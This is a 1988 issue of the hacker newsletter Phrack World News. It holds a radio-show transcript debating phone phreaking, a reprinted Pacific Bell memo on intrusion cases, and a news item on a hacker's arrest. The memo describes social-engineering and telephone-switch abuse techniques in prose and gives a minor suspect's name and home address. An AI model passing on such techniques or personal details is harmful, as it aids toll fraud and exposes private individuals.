ES: That what you are doing somebody else ultimately has to pay for Doesn't that bother you? I mean if you were the victim of a thief or a burglar, I presume you would call the police and you'd scream and yell until they did something about it. And yet you and so many thousands of other people think nothing of committing thievery and fraud by wire and God knows what other crimes and because your victim is not sitting in the same room with you it just doesn't seem to bother you.

A: Well I haven't I haven't physically bodily hurt anybody and it's mostly companies you know that I've dealt with.

ES: That makes it okay? Companies are made up of people. Sometimes they're privately owned and sometimes they're made up of stockholders, but companies are people and so you're hurting people.

CM: I don't know what service she's coming through on, but you gotta remember its costing that company money right now to enable her to talk and they've got to recover those costs from their legitimate customers.

A: Don't they just use it as a tax write‑off?

BG: No.

JM: There's been some of the smaller long distance companies, some of the people that resell service provided by AT&T or Sprint, some of these smaller companies have actually been bankrupted by people like Anna. A: Well I happen to know the person who bankrupted one of them. AA: I don't see why that's something that would make anybody proud. A: I'm not proud to know this person.

AA: Why would you be proud to do what you're doing because you're doing the exact same thing, just perhaps not at the same scale.

A: Well I don't I don't deal with small time companies.

AA: So, you and many people like you are costing large companies a enormous sum of money. You're the people you're the reason that a company like Sprint is not profitable and could in fact bankrupt or could have to lay people off and could put people out of work.

A: They're not profitable?

JM: Sprint has been losing money almost since the beginning.

CM: Or just make a basic rate increase which makes phone service less affordable.

EZ: My long distance company is All‑Net which has had to change access codes three times in the last year. Primarily because of hackers and I don't think it's ever been profitable.

CM: Which is inconvenient to you as a customer.

EZ: Sure

ES: I think what bothers me the most out of this whole thing with Anna is the fact that she is, committing crime literally every day and just doesn't acknowledge that as either morally offensive.

JM: Yes you've hit on the crux of the problem here. Ahhh these phone phreaks and hackers really don't see themselves as criminals and the crime here is totally anonymous it's as simple as dialing some numbers on a telephone that belong to someone else. Okay and so there is no victim. I mean the hacker or the phone phreak doesn't even know the victim that ahh they're billing the call to. In most cases.

ES: Like the burglar who burglarizes during the day when nobody is home he doesn't see the faces of his victims and so its a very impersonal crime. Anna how would you feel if someday you get a knock on the door and it's the FBI or the Secret Service and they have finally tracked you down and the US Attorney for Kansas City decides to indict you and they've got a good case and you end up going to prison. How would you feel then? A: My original reason for taking an interest in this particular hobby is that someone got hold of my AT&T calling card and ran up my phone bill to several thousand dollars and I took an interest in it to find out originally what was going on with it. Now I have had contact with the Secret Service and the FBI and they didn't do anything about the person who offended me. They didn't do anything at all.

AA: That doesn't answer the question.

ES: Well what's going to happen if they come back and grab you? How would you feel if you ended up having to go to prison?

A: I guess those are the breaks.

ES: Are you married or single?

A: I'm single.

ES: Does your family know that you're involved in all this?

A: Yes they do.

ES: I mean how would they react if you ended up being arrested?

A: I guess they wouldn't get anymore free long distance.

ES: They're using it too!?

A: They have me place the calls for them.

ES: You know what disturbs me. You know don't sound like a stupid person, but you represent a lack of morality that disturbs me greatly. You really do. I think you represent a certain way of thinking that is morally bankrupt. I'm not trying to offend you, but I'm offended by you!

A: Well I appreciate your time and you giving me air time an everything. I thought I'd let some of you know that we are out there and look out for us. Change those remote access codes to more difficult codes and... BG: Is that to make the challenge more difficult for you?

A: Possibly for some of us, but to also those hackers who don't have the intelligence or don't have the friends or don't have the computers or whatever they're using.

BG: Or the idle time.

A: Right, the idle time. There you go.

ES: How do you pay your rent Anna? Or do you live at home with your folks? A: I live with my parents.

ES: Oh...okay.

AA: Why not take that time and do something constructive or socially useful? A: Well I went out and applied for a job with US. Sprint and didn't get hired. AA: That's good!

EZ: Is it any wonder?!

ES: Anna, do you listen to this program very often? I don't believe you've ever called before have you?

A: No.

ES: Do you listen every once in a while?

A: Yes. I had just happened to hear through a friend that it was coming on. ES: Okay. I tell you what Anna. A little something for all new callers. I've got very fancy WGN T‑shirts. If you give my producer your name and address we'll send one to you. Okay?

A: Okay

ES: We'll be right back. (Click!) She hung up. I have to tell you the truth. I thought we had her there for a minute.

AA: Well done!

JM: She hung up on you?

ES: The minute we went in on the line to get her address to send her the prize she hung up.

JM: Yeah, I don't doubt that.

ES: I'm not trying to make an enemy out of the woman, but I really am disturbed by her lack of moral fiber. I got another person on the phone claiming to be a computer hacker. Dan, are you there?

D: Yes

ES: Are you a computer hacker?

D: No. I'm a computer science major.

ES: Oh, okay.

D: I'd like to ask your security experts what types of risk avoidance is involved in providing unauthorized people into corporation's computer systems?

BG: What you're asking us is what we do to try to keep unauthorized people out and for me to answer that, would give away the store.

AA: Besides it would take about two days.

JM: I think you can answer that in generalities. As a number we're talking about I guess, telephone dial‑up access to computers.

BG: I think he's asking generically. Just computing. I don't think it would be appropriate for me to discuss. There is enough literature out there, you're a computer science major you read the literature and I think your answer lies there.

EZ: Just to give you an example I know in terms not so much as computers, but misuse of long distance credit card numbers, the All‑Net people who I deal with made their numbers longer which is the simplest thing you can do. It's harder to find one that's working.

JM: When protecting your computers, the first line of defense is the password. Obviously you don't want to use trivial passwords. Ahhh that's the first line of defense. After that you add on other things like dial‑back, encryption and various other techniques to rule out anyone with just a casual ahhh attempt at access that is just not going to get through. ES: Dan, where are you going to school?

D: Right across the street from WGN, the Devry institute.

ES: What is your feeling when you hear somebody else talk about, you just heard Anna, what what's your feeling about what she's doing?

D: I'm not really familiar with the hackers.

ES: Don't you see things being stolen? Does that bother you at all? I mean you see the illegality of it? The immoral...morality of it?

D: I think it's very unethical because a lot of the companies have billions of dollars in equipment.

ES: It's not something you're into? Correct?

D: That's correct, yes.

ES: I'm glad. Thanks for your call Dan.

D: Okay.

ES: Hello Louis are you there?

L: Yes I'm here.

ES: Okay you're on with all of our panel members Louis.

L: Thank you very much. I heard a story that had to do with a certain hacker who had gotten inside the computer system of a let's say a large oil company. We'll leave the names out of it. They had set up a security system which automatically traces the call directly back to wherever the originating connection is made and this goof called from his home. Two or three days later, he found FBI agents on his front door step. AA: I'm not familiar with the case, but it's certainly is within the realm of possibility.

JM: This happens quite a bit. A person like Anna for example might use a long distance service that is subscribing to a service from the originating telephone company of identification of calling number. When the fraudulent bill is generated the number that placed the call is also there and working it backwards is very trivial at that point.

L: They simply did something like putting a trap on the line.

JM: On some of the systems, the trap is already there. It's just part of the system, it's not really a trap at all.

ES: There are ways to catch people and the computer hackers like to play the odds. All right Louis thank you.

L: Hopefully this will teach a lot of people who are considering doing something like this to keep their hands off.

ES: I hope so, good point. Thanks for the call.

L: Thank you very much

ES: We've got a call here. Hello Bob!

B: I'd like to make a few comments on computer law. I live in Oaklawn and they've got the most modern exchanges that Illinois Bell has to offer. My son lives in that area and I know they offer features that are only available on the newer switches out there. I go back with computers to before Apple and IBM sold PC's, I had a couple sitting here at home. ES: Uh‑humm.

B: I bought my first modem about 1978. I consider myself somewhat a hacker, but I've never really tried to get into anybody else's system, not so much that I considered it illegal, simply because there wasn't that much of interest to me available. As far as computers go, if I sit here and dial random phone numbers in some states, now that is illegal. It's illegal if your 14 year old is sitting at home at a computer, but it's not illegal if your using a computerized phone system for generating sales leads. ES: We call it tele‑marketing.

B: Tele‑marketing is essentially what some hackers have been hassled for and n some states it is illegal now. I've accidentally accessed systems I did not intend to access.

CM: You didn't pursue that right?

B: No, I've never used it. I've never used a computer for theft of services. I am not about to try and defend somebody that uses a computer to as a tool for theft of service from a telecommunications company. However, there are certain computer laws that never should have been passed. The case of the fellow out in California two or three years back that had a bulletin board, somebody had posted access codes on his bulletin board. He has an automated machine that answers his telephone. The telephone line is in his name, the Secret Service came and confiscated his equipment Its not right that this happened because of third party theft of service. BG: I think the rationale is over simplistic.

B: Am I responsible for what you say when I answer my phone is essentially the question.

BG: No, I think the question is, is the bulletin board operator responsible for what is posted on his bulletin board.

B: Well that literally makes no sense. If a telemarketer calls me am I responsible for anything he says after I pick up the phone? BG: A bulletin board is used to disseminate information further. When a person posts something, in this case a code, the bulletin board is used to further spread that information.

JM: I believe that is the Tom Tcimpidis case that you're referring to and I'm quite familiar with it. It was not quite as you put it. The stolen AT&T calling card that was posted was posted anonymously one minute and one minute after the AT&T card being posted by the anonymous party, Tom Tcimpidis, the sysop, the operator of the bulletin board himself had been on‑line and had posted other messages. So there was reason to believe perhaps that the anonymous person was actually the system operator. There was a further complication that arose in that the stolen AT&T card belonged to a former employer of the system operator. Ultimately there was not enough evidence with which to charge anybody and the whole thing was quietly dropped, but it did raise some interesting questions as to responsibilities of the system operator because Mr. Tcimpidis said that he didn't know the code was there and yet his own equipment log showed that he had been on‑line.

B: Let's take that a little further then. Let's say there was an answering machine connected to his phone and we know he listened to the answering machine. Let's say somebody with a voice message left him half a dozen stolen credit card numbers. Would the action of the law enforcement agencies have been the same?

JM: No...no, you're

B: I think you must look at a situation where over the years an unnecessary fear has grown of some of the hackers. The phone phreaks scare me to an extent. I've got bogus calls on my US. Sprint and All‑Net bills, never got one on my AT&T bill. I can see this is a definite problem, the phone phreaks do scare me, and I realize that real problem is that nobody seems to reconcile every call or even read their long distance bills. AA: If I have an answering machine on my phone and somebody calls up and leaves me information that were I to use it it would be illegal and I either erase the information or turn that other person in. I have no intent to use it and there is no law enforcement officer that I can imagine who is going to take action and no prosecutor who would take the case.

ES: In other words if a guy sets up a computer bulletin board for the express purpose of exchanging information he is not supposed to have when other people have information their not supposed to have, I don't think there's any doubt about what their intent is and about the fact that they are violating the law.

Sarge, if you went after somebody like Anna for what she admitted doing, stealing $15,000 dollars worth of long distance and you were able to handle the investigation, come up with the evidence, and bust her, what kind of penalty might she get?

AA: A very difficult question to answer because it depends upon her prior criminal history. Most of these hackers do not have a history. In Anna's case the crime would be a class four felony which would result in probably simple felony probation.

ES: She admitted to stealing $15,000!

AA: I'm sure that her estimate is wildly off on the low end. if she is disseminating codes then she is also somewhat responsible for other people's use of the same codes.

ES: Could we charge someone like her with conspiracy?

AA: Sure!

ES: She is generating a continuing criminal enterprise.

AA: It depends again on whether you choose to prosecute her federally or at the state level. She would be looking here at a class three or class two felony depending upon the sum of money that she had stolen. ES: The bottom line here is if the punishment doesn't fit the crime, its not going to stop the criminals.

AA: You have to remember that these are the people who have not been processed in the criminal justice systems and even to hold them over the weekend in Cook County would not be an experience I'd care to repeat.

ES: Many of them are pretty arrogant sounding it seems.

(Commercial Break And Reintroductions)

ES: We've got an interesting new telephone law here; Chapter 38 of the Illinois Criminal Code. A person can be prosecuted, arrested and convicted for bothering somebody even if the person doesn't answer the phone. Just ringing a persons phone now is against the law, it's harassing them. JM: I might add, since we're discussing harassment by phone... the hackers don't like me too well and I'll get about a death threat a week from a hacker.

ES: Really.

JM: Oh yeah and every now and then I figure out who it was and I call them back and that kind of shakes up a little bit.

ES: There was this reporter here that was being harassed like crazy in the news department here by a hacker who had a computer that was ringing the phone. He was ringing the phones like crazy and I didn't know about. Finally the reporter asked what I could recommend. I made a phone call and the Illinois Bell Security did what it had to do and then the Chicago Police were brought in and one night when I was on the air the officers went to guys home, knocked on the door, and this kid was shocked! He was a telemarketing representative for a major magazine and apparently he was working at home he had some of their equipment at home including a rapid dialer. He's got two detectives at the front door and he had literally just gotten off the phone. We've got all the data and so now comes the decision what do you want to do. Take him to court? Lock him up? Go to his boss? I went back to the reporter in our news room and asked him what he wanted to do about it?

JM: What did he say?

ES: Write a 500 word essay on why he was never going to do it again. JM: Ha Ha! We had one 14 year old one hacker who was on the bulletin boards and posting messages about how to make pipe bombs, different types of poison, long distance codes, and computer passwords, etc. On the bulletin boards he would come across like Ghengis Khan or or Joseph Stalin or something. I mean his language was all four letter words and yet face to face he was a very meek, mild mannered, well behaved youngster. However, get him behind the keyboard and he just sort of changes personality. What do you do to a 14 year old? He is much too young to really be put through any of the the serious criminal prosecutions so his penalty was that he had to read out loud to his parents all of the messages that he'd posted on the bulletin boards, four letters words and all. And that cured him... hahaha.

In most of the cases I've worked on it's rare that someone goes to jail. I think the longest sentence that I've been involved with was probably like 30 days. I think there was one fellow down in Virginia, if I recall correctly, that got 90 days. You don't necessarily want to put these folks in jail because then they'll meet the real crooks and teach them all these nifty tricks.

ES: God help us. Lets grab a call real quick here from Gordon. Hello Gordon, where are you calling from?

G: Hello, I'm calling from DeKalb, Illinois.

ES: You have a question for our panel...go ahead.

G: Yeah I do. I'm a graduate student in Criminology up here at Northern Illinois University and I'm kinda involved in some field research with the types of people that you're discussing tonight. I've heard a lot of terms flying back and forth between phreakers and hackers and things like that. I'd like to hear some input from the people on the panel as far as how they define these types of activities, if they draw and distinctions between the two, and secondly, if anybody can add any insight into maybe just how many people are currently active in this type of activity.

JM: I could take that because one of my specialties is identification and gathering data about how many perpetrators there are. To answer the first question, a computer hacker would be someone who concentrates mainly on breaking into computer systems. The phone phreak would be someone who, like Anna we heard earlier tonight, just makes long distance calls for free. The problem is you can't really separate them. The hacker needs to know the phone phreak tricks in order to break into computers in other states or other countries. Certainly the phone phreak perhaps needs some computer aids in obtaining stolen codes. It is hard to separate them. You can call them phreakers or you can call them hackers or you can just call them criminals.

As to how many, this is a tough one because at what point to you draw the line? Do you say somebody that makes fifteen thousand dollars worth of calls in a year is a phone phreak and somebody that makes $14,900 is not? The problem is that its been a tradition to rip off the phone company ever since day one. There has been phone phreaks for twenty‑five or thirty years at least. Ever since we've had long distance dialing. BG: The phone companies not the only one under siege either.

JM: There are thousands of hackers, I would say just in the state of Illinois there are several thousand active computer hackers.

G: Those hackers are the active ones? Would you say that most of them are involved in communicating via the bulletin board systems and voice mail‑boxes and things like that or is this pretty much a solitary activity. JM: There are a few solitary hackers, in fact the beginnings of hacking, 25‑30 years ago, it was a solitary activity. The bulletin boards have changed all that. Now the hackers no longer really operate in solitude. AA: One thing also about the criminal element here, the hacker and the phreakers, my experience has been that we have had very few "clean" if you will, computer frauds. We have had some people who are only into multi‑level marketing of codes, which ends up being enormous sums of money, but very often we've found that hackers are involved in other things too. For example, credit card frauds, we have done search warrants and found a reasonable quantities of illegal substances, of weapons, of other evidence of other offenses. We have probably easily 50% of our warrants turn up other things besides computer fraud. Which I think is an interesting point to keep in mind.

ES: Very good point.

(Break For Commercial and re‑introductions)

R: Hello, I just wanted to call up and clarify something concerning computer hackers. I'm a hacker, but I'm not a criminal.

ES: We'll be the judge of that Bobby.

R: I think you will be. The reason I say that is, you're confusing things. The hacker is term that you could apply or compare more or less to "ham." It's a computer hobbyist, whether he does it just on his machine at home or he accesses legitimate services throughout the country and pays for his services he's a hacker. There are a lot of people who are irresponsible, mostly teenagers, who are quite impressed with the power of this machine and get carried away with it and do criminal acts. They happen to be hackers, but they're also criminals. I think that distinction. CM: I think the point is well taken I think originally the hacker was a very positive term historically and for whatever reasons the word hacker has taken on some negative connotations.

R: Yes and that is unfair because I know legions of people who are hackers. JM: I consider myself to be a hacker, but I'm certainly not a computer criminal (No, at least not a COMPUTER criminal). I mean my business is catching the criminal hackers. If we go back to 1983 when hackers made headlines for the first time, that was the Milwaukee 414 gang, they called themselves hackers and so right away the good term, hacker being someone who could do wonderful things with a computer got turned into someone who could do criminal things with a computer.

ES: I remember back to a time a few years ago when there was a group of criminals that got busted for coming up with a device called a black box which they used to circumvent paying the tolls you know on long distance phone charges. Was that kind of the beginning of this computer misbehavior? I mean was that a computer device?

JM: There are several boxes; the black box, blue box, red box, silver box, etc. I must confess that back when I was a teenager, over thirty years ago, there were not any computers to play around with, but there was this wonderful telephone network called the Bell System. I was one of the original inventors of the device known as the black box and another device known as the blue box (Yeah right, YOU invented these). In those days the phone network was such that you could manipulate it with very simple tone signals.

A black box essentially allows all calls to your phone to be received free of charge to the caller. In other words if somebody called you from a payphone they got their dimes back and if someone dialed you direct long distance they never got a bill.

The blue box was a little more insidious. It allows you to actually take over the long distance lines and dial direct anywhere in the world. I got into it just out of curiosity as a true hacker and I found out that these things were possible and I told a friend of mine at the phone company about what I could do with their circuits and of course he turned me into the security people.

It never really got started, but I do have sitting here in front of me a device that makes some of those tones. You could call it a blue box. I guess this is legitimate piece of test equipment, but let's see if it will pick up. (Beeeep!)

ES: Came through loud and clear.

JM: The blue box today is obsolete, it really doesn't work anymore. There, there are a few circuits that still us those kind of signals, but back 25‑30 years ago that was the way to make your free phone calls. You didn't have Sprint and MCI to abuse.

S: I'm a consulting engineer now but, I have been a communications manager for three Fortune 500 companies. One of the reasons I was hired was to put a stop to some long distance calling that had cost that company over a million and a half dollars in 27 months. We found the person that was doing it and he got a suspended sentence of six months. Then we turned around and sued him in civil court.

ES: We've got to start treating these criminals like criminals. Suspended sentences are unacceptable, hard jail time is absolutely mandatory and unfortunately, and I think that sergeant you probably will agree with me, it must be very frustrating to spend all the hours you do chasing people and even when you get them to plead guilty seeing how easy sometimes they get away.

AA: Oh sure.

S: How many people do you have assigned to your unit here in this state sarge? AA: You're talking to 50% of the unit.

(Break for commercials and re‑introductions)

ES: Okay Ray, go ahead.

R: You would not believe how long I've been trying to get in touch with you. Since I was 14 years old, every time I've called, you've been busy. ES: So how old are you tonight?

R: 18

ES: Four years!? What's on your mind?

R: I used to pirate games when I was younger. As a matter of fact when I was 14. I mean my Dad had just bought me a computer and modem and I was pumped. People are always complaining about it, but it's so easy for a 14 year old kid to do this, don't you think that they should make it a little bit harder? Do you understand what I'm trying to say?

ES: Yes, but Ray it's easy to steal a car. If your neighbor leaves his car in the driveway with the key in the ignition does that give you the right to take it?

R: I know I did wrong, but there is no way I can give it back. Its just stupid because when you get older you feel guilty about things. ES: What did you used to do?

R: I used to call up certain places and I would like break in and take their games and then just keep them for myself.

BG: It was more entertainment for you?

R: It kept me occupied and it was so easy that I began to think that maybe it was meant to be easy so they could get publicity.

JM: There is perhaps a difference because when you copy a a computer program you can't tell it from an original, but if you make a copy of a tape or a record it doesn't sound quite the same.

CM: When you're 14 years old it's something new, right?

R: I got the biggest pump out of it.

CM: I think you did something for your ego and it gave you a sense of power. ES: Okay Ray

R: Bye

ES: I've really enjoyed this program, but we're out of time. John, I want to thank you for staying up and I have a feeling that we'll do more radio because you're an interesting guy.

JM: Thank you. It's been interesting talking with you. By the way, I think I know who Anna is, but we'll keep that a secret from our listeners. ES: Oh. Well why don't you just tell the FBI?

JM: The Secret Service, yes.

ES: Right and I want to thank everyone else for being on the show tonight. Everyone: Its been our pleasure. Lets do it again some time.

Phrack World News Issue XXI Part 1

==Phrack Inc.==

Volume Two, Issue 21, File 10 of 11

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN The Legacy... ...Lives On PWN PWN Phrack World News PWN PWN Issue XXI/1 PWN

PWN PWN

PWN Created by Knight Lightning PWN

PWN PWN

PWN Written and Edited by PWN PWN Knight Lightning and Epsilon PWN

PWN PWN

PWN The Future... ...Is Forever PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

On The Edge Of Forever November 4, 1988

~~~~~~~~~~~~~~~~~~~~~~

Greetings and welcome to Phrack World News Issue XXI! As most of you have realized, Taran King and I are back to stay and the tradition of Phrack Inc. lives on. November 17, 1988 marks the Three Year Anniversary of Phrack Inc. and we have never been prouder of our efforts to bring you the best magazine possible.

However, we can not do it alone. Both Taran King and I have been reduced to completely legal status and can not afford the luxury of calling bulletin boards or contacting all the people we would like too.

Epsilon has been helping us a lot by acting as the collection agency for many of the files for Phrack and several news articles as well. Please, if you have a file for Phrack Inc. or an article for PWN contact him or leave mail for The Mentor. And speaking of The Mentor, The Phoenix Project has a new number; (512) 441‑3088. Be sure to give it a call.

The article about Pacific Bell in this issue may contain some information that has been seen before. Regardless of that, PWN is a place where such information can be indexed for later reference and helps keep important events and happenings in a certain continuity which is beneficial to everyone.

This issue of Phrack features the Second Special Presentation of Phrack World News, which contains the abridged edition of the WGN Radio Show that dealt with computer hackers and features John Maxfield.

With regard to the file about Teleconnect Long Distance. Hatchet Molly says that now Teleconnect "flags" suspect bulletin boards and if a Teleconnect calling card is used to call one, the card number is cancelled and a new card is mailed to the customer within three days. What a wonderful company policy that is.

For the months ahead, I am working on a file about hackers abroad, mostly focusing on the Chaos Computer Club, which I have begun to have strong relations with, and some other hacker instances in Europe and other parts of the world.

Scheduled for January/February is a file series on the Wide Area Networks; Bitnet and quite possibly ARPAnet, MILInet, NSFnet, IBM's VNET, CCnet, UUCP, CSnet, SPAN, JANet, JUNet, and the list goes on. The main emphasis will be on Bitnet though with secondary emphasis on UUCP and the other networks.

Hope you enjoy this issue and remember... "The Future Is Forever"

:Knight Lightning

________________________________________

Pacific Bell Means Business October 6, 1988

~~~~~~~~~~~~~~~~~~~~~~~~~~~

The following information originally appeared in WORM Newsletter, a publication produced and distributed by Sir Francis Drake. The series of memos presented here are shown to enable the members of today's hacking community to fully understand the forces at work that seek to bring them down. The memo(s) have

been edited for this presentation. KL

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Copy For: Roland Donaldson August 3, 1987

Subject: Unauthorized Remote Computer Access

San Francisco, July 29, 1987

Case Nos.: 86‑883, 87‑497

T. M. CASSANI, Director‑Electronic Operations:

Electronic Operations recently investigated two cases involving a number of sophisticated hackers who were adept at illegally compromising public and private sector computers. Included among the victims of these hackers was Pacific Bell, as well as other local exchange carriers and long distance providers.

Below is a synopsis of the two cases (87‑497 and 86‑883), each of which demonstrate weaknesses in Pacific Bell's remote access dial‑up systems.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Case No. 87‑497

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

On May 14, 1987, Electronic Operations received a court order directing Pacific Bell to place traps on the telephone numbers assigned to a company known as "Santa Cruz Operations." The court order was issued in order to identify the telephone number being used by an individual who was illegally entering Santa Cruz Operations' computer and stealing information.

On May 28, 1987, a telephone number was identified five separate times making illegal entry into Santa Cruz Operations' computer. The originating telephone number was 805‑PRE‑SUFF, which is listed to Jane Doe, 8731 W. Cresthill Drive, Apt. 404, Thousand Oaks, California.

On June 3, 1987, a search warrant was served at 8731 W. Cresthill Drive, Apt 404, Thousand Oaks, California. The residents of the apartment, who were not at home, were identified as Jane Doe, a programmer for General Telephone, and Kevin Hacker, a known computer hacker. Found inside the apartment were three computers, numerous floppy disks and a number of General Telephone computer manuals.

Kevin Hacker was arrested several years ago for hacking Pacific Bell, UCLA and Hughes Aircraft Company computers. Hacker was a minor at the time of his arrest. Kevin Hacker was recently arrested for compromising the data base of Santa Cruz Operations.

The floppy disks that were seized pursuant to the search warrant revealed Mitnick's involvment in compromising the Pacific Bell UNIX operation systems and other data bases. The disks documented the following:

o Hacker's compromise of all Southern California SCC/ESAC computers. On file were the names, log‑ins, passwords, and home telephone numbers for Northern and Southern ESAC employees.

o The dial‑up numbers and circuit identification documents for SCC computers and Data Kits.

o The commands for testing and seizing trunk testing lines and channels.

o The commands and log‑ins for COSMOS wire centers for Northern and Southern California.

o The commands for line monitoring and the seizure of dial tone.

o References to the impersonation of Southern California Security Agents and ESAC employees to obtain information.

o The commands for placing terminating and originating traps.

o The addresses of Pacific Bell locations and the Electronic Door Lock access codes for the following Southern California central offices ELSG12, LSAN06, LSAN12, LSAN15, LSAN23, LSAN56, AVLN11, HLWD01, HWTH01, IGWD01, LOMT11, AND SNPD01.

o Inter‑company Electronic Mail detailing new login/password procedures and safeguards.

o The work sheet of an UNIX encryption reader hacker file. If successful, this program could break into any UNIX system at will.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Case No. 86‑883

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

On November 14, 1986, Electronic Operations received a search warrant directing Pacific Bell to trap calls being made to the Stanford University computer. The Stanford Computer was being illegally accessed and was then being used to access other large computer systems throughout the country.

The calls to the Stanford Computer were routed through several different common carriers and through numerous states. Through a combination of traps, traces and sifting through information posted on the Stanford computer, several suspects were identified throughout the United States.

The group of computer hackers who illegally accessed the Stanford computer system were known as "The Legion of Doom." Subsequent investigation indicated that the Legion of Doom was responsible for:

o The use of Stanford University high‑speed mainframes to attack and hack ESAC/SCC mini compuuters with an UNIX password hacker file. Password files were then stored on the Stanford systems for other members of the Legion of Doom to use. Login and passwords for every local exchange carrier as well as AT&T SCC/ESAC mini computers were on file.

o The Legion of Doom used the Stanford computers to enter and attack other institutions and private contractors' computers. Some of the contractors' computers were used for national defense research.

On July 21, 1987, eight search warrants were served in three states at homes where members of the Legion of Doom reside. Three of the searches were conducted in California. Steve Dougherty, Senior Investigator‑Electronic Operations, accompanied Secret Service agents at the service of a search warrant at 2605 Trousdale Drive, Burlingame, California, which was the residence of Stan QUEST, a sixteen‑year‑old member of the Legion of Doom. (Correction ‑ Oryan QUEST has never been a member of the Legion Of Doom. ‑KL)

Dougherty interviewed QUEST, who had used the pseudonym "O'Ryan Quest," (Oryan QUEST) when accessing computers. During the interview, QUEST admitted the following:

o The entering of central offices, (Burlingame, San Mateo, San Bruno, Millbrae) disguised as a Federal Express deliveryman. The entries were done to case out the CO's for the purpose of finding computer terminals with telephones, the locations of switches and bays, the names of Comtechs, and materials related to the operations of the central office. QUEST also claimed to have been in the AT&T Administration office on Folsom Street, San Francisco.

o QUEST's telephone service had been disconnected twice for nonpayment, and twice he had his service restored by impersonating a service representative.

o Learning to test circuits and trunks with his computer by using ROTL and CAROT test procedures.

o Members of the Legion of Doom often accessed test trunks to monitor each other's lines for fun.

o On several occasions QUEST would post the telephone number of a public coin phone for access to his BBS, Digital IDS. He would then access teh Millbrae COSMOS wire center and add call forwarding to the coin phone. He would activate the call forwarding to his home telephone number, securing the identity of his location.

o QUEST would impersonate an employee who had authorization to use a Data Kit and have it turned on for him. When he was done, he would call back and have the Data Kit turned off.

o QUEST also would use his knowledge to disconnect and busyout the telephone services of individuals he did not like. Further, he would add several custom calling features to their lines to create larger bills.

o It was very easy to use the test trunks with his computer to seize another person's dial tone and make calls appear on their bills. QUEST did not admit charging 976 calls to anyone, but he knew of others who did.

o When the Legion of Doom attacked a computer system, they gave themselves five minutes to complete the hacking. If they were not successful in five minutes, they would attempt another system. The Legion of Doom was able to crack a computer in under five minutes approximately 90% of the time.

o QUEST would impersonate employees to get non‑published telephone listings. QUEST received the non‑published listing for Apple Computer Founder, Steve Wozniak, and members of The Beastie Boys rock group.

o QUEST told Dougherty of one New York member of the Legion of Doom, "Bill from Arnoc," (Bill From RNOC) who has been placing his own traps in New York. Bill from Arnoc (Bill From RNOC) helped QUEST place traps in Pacific Bell.

(Gee Stan, you forgot to admit sneaking over the border. ‑KL)

The review of the evidence seized at QUEST's residence tends to corroborate all QUEST's statements.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Conclusions

‑‑‑‑‑‑‑‑‑‑‑

There are some important conclusions that can be drawn from the above two cases regarding future computer system concerns.

o The number of individuals capable of entering Pacific Bell operating systems is growing.

o Computer Hackers are becoming more sophisticated in their attacks.

o Dial‑up ports will always be a target for computer entry by a hacker.

o Even dial‑up ports with remote callbacks and manually controlled modems can be compromised.

o A hacker can place a central office off‑line by overloading a SCC mini computer by improperly placing traps or by putting traps on several DID multi‑trunk groups such as MCI or Sprint groups.

o Terrorist or Organized Crime organizations could use this underground computer technology against Pacific Bell or to their own advantage.

o Pacific Bell proprietary data bases such as PTT ESAC or PB2 ESAC could be compromised.

o The integrity of accurate customer billing statements have been compromised through access to the CEBS (Computerized Electronic Billing System) and will remain questionable. A customer can dispute large direct‑dialed calls and claim his telephone was accessed by a computer hacker.

‑ ‑

o Oryan QUEST has a really BIG mouth and would dick over anyone and everyone to overcome his inferiority complex from being an illegal alien without a green card. Outside of the Dan The Operator/Maxfield incident, I have never seen such a mass admission of guilt. To make matters worse, QUEST probably made up most of the incidents to make himself sound like a really big time hacker.

‑ ‑

Recommendations

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The information gained as a result of the above investigations should be shared with those individuals responsible for the integrity of our computer systems. Further, an ongoing business partnership between security and the individuals responsible for the integrity of our computer systems should be initiated and maintained to ensure prompt, effective resolution of future computer related security issues.

JOHN E. VENN

Manager‑Electronic Operations

Special Thanks To Sir Francis Drake

________________________________________

He's Really Just Out Of Control PostCon'88

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

"I would SHRED everything, because we get so much information out of the dumpster, it's UNREAL..."

‑‑ Control C

Over the last few months there has been a lot of controversy about the mysterious cricumstances regarding Michigan Bell and Control C. To set the record straight, ^C gave me the full details of what happened so I could pass it on to you.

Just prior to leaving Chicago, where ^C had been going to school, he had illegally accessed an AOL system belonging to Michigan Bell. The system operator broke in on him and ^C tried unsuccessfully to pass himself off as a legitimate user. When this did not work, he hung up and did not give it a second thought. Upon returning home to Detroit, he had a message waiting for him to contact the sysop of the AOL system. He calling him and they, accompanied by Michigan Bell security, went out to lunch. To avoid being prosecuted, Control C had to give up all of the information he had on that system and explain how he had gotten in. Since he had cooperated, they let him go without further hassle. Unfortunately, Control C was soon busted again for breaking into his Central Office, but this time he was not going to get off so easily. He had to agree to making a talk show movie and a poster (quoted in the beginning of the article) for Michigan Bell. Both of these items have been distributed across the country to better illustrate the hacker mind‑set and as a reminder to destroy important documents that were being thrown away.

While being interrogated by Michigan Bell security department, Control C was shown a list of recently busted hackers from the July 21, 1987 sweep of the country. On this list was Sir Francis Drake, which is how the rumor about SFD being busted last year got started. However, what Control C and Michigan Bell did not know was that when Mark Gerardo was apprehended last year, he was believed to be SFD and as such was entered in their files incorrectly.

Information Provided by Control C

With a little help figuring out the SFD mixup from me and Taran King

:Knight Lightning

________________________________________

North Dakota Nightmare September 10, 1988

~~~~~~~~~~~~~~~~~~~~~~

"For Kracking Crue's Docs Avage The Game Is Over"

